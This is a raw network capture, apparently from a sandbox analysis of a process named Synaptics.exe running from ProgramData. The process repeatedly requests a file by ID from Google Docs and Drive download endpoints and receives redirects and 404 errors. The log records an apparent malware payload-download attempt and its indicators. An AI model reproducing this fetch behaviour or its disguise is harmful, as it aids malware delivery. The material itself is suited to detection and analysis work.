2024-07-02 04:51:42 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 4c 67 45 7a 62 30 47 49 68 51 66 47 6d 7a 5a 4a 5a 6e 6a 4b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="xLgEzb0GIhQfGmzZJZnjKg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49809	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:42 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=A3_DWj-uYlS8SG5SSf4h2bgber-DsAFUfVFi3FxDtVi6jdEuIU6gVf6qK91beLGBvOf1aDV0Nep13pF86ny2gczGzT-3nbHCtLKC8cn0g8_K7gZDcqKMbM307ceTmcEP8JCdf4BXdMiJYzViINyBdRPd8CGRJRG-5NAuxhs9Z5M
2024-07-02 04:51:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-NRG0z8ipkyoX8gbI4JLAYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49810	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:42 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:42 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:42 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jsU1C4X23oZB5NaPoEv-6A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49812	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:42 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:43 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:42 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gYZHdWbq5A2RJc4E3R0mlw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0No2EHOubJIn3YFoYe2sE91ou3Q3pcNmji4KfQXtpCLqBatOuJFfDeN7lvpQxt1N1zs522Maac29UQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:43 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:43 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 39 37 62 66 57 37 4a 56 4a 55 57 76 6b 79 70 52 67 33 38 64 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="r97bfW7JVJUWvkypRg38dA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:43 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49811	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:42 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:43 UTC	1245	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:42 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-LupTqJQw3HlWzat2QzvmTw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NpDd4tqHHaheh7yAxi4SfGZhN9Pn00FvcZuv9GKJikpDEowq1No-mABeFM4bJINSD5Ngg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:43 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)
2024-07-02 04:51:43 UTC	1390	IN	Data Raw: 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 79 4d 38 45 64 73 34 45 67 41 31 77 75 73 76 4c 79 43 48 36 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 Data Ascii: !!1</title><style nonce="ryM8Eds4EgA1wusvLyCH6g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:43 UTC	107	IN	Data Raw: 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49820	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lD3-dco7tWDPAwd5OKfiEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49821	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:43 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:44 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:44 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-jyWmVl2WzXLNsE2Gv3jvaw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49827	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-2AbuDPGmi2XNntE3Qh6qcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49825	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:45 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:45 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:45 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5EdcCWik5BSyoxkJThGaEA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49824	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:45 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:45 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_Y6qAiylT6xf8fDV6Fte9A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NqgqRuATWkRMmymU7u7OWym97dVHafQSM41U-udIhRMYtjmeV2qL5aUjW5Jixv4ZcvoHc4Z_BX6FQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
